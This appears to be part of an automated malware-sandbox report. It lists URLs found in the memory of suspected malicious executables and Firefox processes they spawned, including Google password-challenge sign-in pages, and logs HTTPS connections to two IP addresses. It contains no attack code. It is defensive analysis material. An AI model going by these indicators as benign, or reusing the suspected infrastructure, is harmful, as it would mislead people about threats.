Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: e5e907fecb.exe, 0000000F.00000003.2916826628.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: e5e907fecb.exe, 0000000F.00000003.2916826628.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: r5mqFEC.exe, 0000000A.00000003.2462834549.0000000005A77000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2497922525.0000000005A77000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2462569641.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2462681900.0000000005A77000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2858691252.0000000005717000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2859630933.0000000005717000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2829136213.0000000005717000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2828381892.0000000005763000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: r5mqFEC.exe, 0000000A.00000003.2462681900.0000000005A52000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2829136213.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: r5mqFEC.exe, 0000000A.00000003.2462834549.0000000005A77000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2497922525.0000000005A77000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2462569641.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2462681900.0000000005A77000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2858691252.0000000005717000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2859630933.0000000005717000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2829136213.0000000005717000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2828381892.0000000005763000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: r5mqFEC.exe, 0000000A.00000003.2462681900.0000000005A52000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2829136213.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3497708315.000000000163A000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3496995219.000000000163A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: e5e907fecb.exe, 0000000F.00000003.2916826628.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: e5e907fecb.exe, 0000000F.00000003.2916826628.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: r5mqFEC.exe, 0000000A.00000003.2527390883.0000000005B44000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2916826628.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: e5e907fecb.exe, 0000000F.00000003.2916826628.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000022.00000002.2935168287.000002651B0CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/YK
Source: r5mqFEC.exe, 0000000A.00000003.2527390883.0000000005B44000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2916826628.00000000057E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000023.00000002.2933641554.0000027907590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig
Source: firefox.exe, 00000022.00000002.2934028870.000002651AC8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challengI
Source: firefox.exe, 00000034.00000002.2983000129.0000016D7A5F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001E.00000002.2835524999.0000014CA1171000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2842023659.0000026ECDE90000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000034.00000002.2983000129.0000016D7A5FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000022.00000002.2934028870.000002651AC80000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2937859693.000002651B194000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2933641554.0000027907594000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2933837593.00000279075B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE

Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50377
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 50278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50281
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 50287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50273 -> 443

Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50269 version: TLS 1.2
